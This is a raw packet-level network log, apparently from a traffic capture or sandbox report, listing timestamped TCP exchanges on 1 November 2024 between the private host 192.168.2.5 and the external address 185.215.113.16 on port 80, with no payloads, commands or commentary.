Nov 1, 2024 05:53:20.628490925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628504992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628506899 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628519058 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628531933 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628532887 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628546953 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628547907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628563881 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628568888 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628576994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628596067 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628597021 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628612995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628618002 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628645897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628757000 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628772020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.628817081 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.628830910 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783174992 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783201933 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783217907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783231020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783246994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783258915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783305883 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783337116 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783356905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783370972 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783390999 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783407927 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783417940 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783432007 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783452988 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783478022 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783510923 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783526897 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783541918 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783567905 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783593893 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783615112 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783633947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783675909 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783782005 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783797026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783813953 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783823967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783828974 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783857107 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783890963 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783895969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783910990 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783925056 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.783934116 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783947945 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.783983946 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784051895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784066916 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784080029 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784089088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784099102 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784120083 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784174919 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784226894 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784240961 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784251928 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784264088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784280062 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784444094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784457922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784471989 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784487009 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784497976 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784502983 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784518957 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784552097 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784646988 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784662008 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784696102 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784785032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784799099 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784812927 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784826994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784841061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784842968 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784857035 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.784872055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.784890890 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785037994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785051107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785064936 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785079002 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785079002 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785104036 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785264969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785279036 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785293102 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785306931 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785314083 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785320997 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785336971 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785336971 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785413980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785413980 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785521030 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785533905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785547018 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785559893 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785562038 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785573006 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785578966 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785588026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785598993 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785607100 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785634995 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785657883 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785785913 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785805941 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785820007 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785834074 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785849094 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.785855055 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785885096 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.785985947 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786001921 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786010981 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786016941 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786026001 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786035061 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786042929 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786056995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786144018 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786197901 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786391973 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786406040 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786418915 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786432981 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786446095 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786449909 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786467075 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786490917 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786559105 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786572933 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786587000 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786601067 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786607027 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786619902 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786627054 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786648989 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786659956 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786845922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786859989 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786874056 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786887884 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786894083 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786901951 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786916971 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786919117 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786932945 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786947012 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786948919 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786961079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786967039 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786977053 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.786978006 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.786993027 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787007093 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787015915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787034988 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787341118 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787355900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787369967 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787398100 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787424088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787600040 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787614107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787635088 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787648916 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787650108 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787662983 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787676096 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787677050 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787693977 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787700891 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787708998 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787714958 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787724972 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787739038 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787743092 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787754059 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787769079 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787770033 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787795067 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787796974 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787811995 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787816048 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787827969 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.787831068 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787846088 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.787864923 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788290024 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788311958 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788320065 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788328886 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788337946 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788350105 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788363934 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788379908 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788402081 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788414955 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788425922 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788429976 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788444042 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788456917 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788465977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788472891 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788486958 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788489103 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788502932 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788503885 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788518906 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788527966 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788532972 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.788549900 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.788572073 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789283991 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789298058 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789311886 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789326906 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789338112 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789340019 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789362907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789366961 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789376974 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789386988 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789391041 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789405107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789407015 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789414883 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789419889 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789434910 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789436102 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789443970 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789448977 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789463043 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789465904 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789478064 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789482117 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789501905 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789506912 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789525032 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789532900 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789540052 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789549112 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789556026 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789560080 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789570093 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789578915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789587021 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789591074 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789599895 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.789609909 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789628029 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.789635897 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790319920 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790334940 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790348053 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790360928 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790369987 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790374994 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790391922 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790397882 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790407896 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790414095 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790436983 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790437937 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790450096 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790471077 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790471077 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790487051 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790494919 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790502071 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790508986 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790515900 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790525913 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790533066 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790534973 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790546894 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790559053 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790563107 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790566921 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790577888 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790587902 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790591955 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790604115 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790608883 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790611029 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790626049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790632010 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790637970 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790641069 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790654898 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790662050 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790673018 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790676117 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790682077 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790687084 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.790709972 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.790724039 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791539907 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791553020 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791567087 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791579962 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791583061 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791594028 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791606903 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791609049 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791625977 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791625977 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791640997 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791647911 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791657925 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791662931 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791673899 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791678905 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791687965 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791697979 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791703939 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791707039 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791718960 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791723967 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791733980 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791739941 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791749001 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.791755915 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791769028 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.791781902 CET	49995	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:20.943873882 CET	80	49995	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:20.943911076 CET	80	49995	185.215.113.16	192.168.2.5
